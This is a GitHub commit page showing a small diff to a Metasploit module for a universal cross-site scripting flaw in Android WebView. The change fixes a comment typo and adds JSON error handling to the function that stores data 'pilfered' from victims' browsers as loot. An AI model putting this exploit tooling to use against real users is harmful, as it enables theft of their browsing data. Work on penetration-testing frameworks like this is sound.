Skip to content

Commit

Permalink
Handle invalid JSON errors and fix typo.
Browse files Browse the repository at this point in the history
  • Loading branch information
jvennix-r7 committed Oct 31, 2014
1 parent 6dc13f9 commit 1e9f9ce
Showing 1 changed file with 12 additions and 7 deletions.
19 changes: 12 additions & 7 deletions modules/auxiliary/gather/android_object_tag_webview_uxss.rb
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
##
# This module requires Metasploit: http//metasploit.com/download
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

Expand Down Expand Up @@ -114,12 +114,17 @@ def on_request_uri(cli, request)
end

def collect_data(request)
response = JSON.parse(request.body)
url = response['url']
if response && url
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
print_good "Collected data from URL: #{url}"
print_good "Saved to: #{file}"
begin
response = JSON.parse(request.body)
rescue JSON::ParserError
print_bad "Invalid JSON request."
else
url = response['url']
if response && url
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
print_good "Collected data from URL: #{url}"
print_good "Saved to: #{file}"
end
end
end

Expand Down

0 comments on commit 1e9f9ce

Please sign in to comment.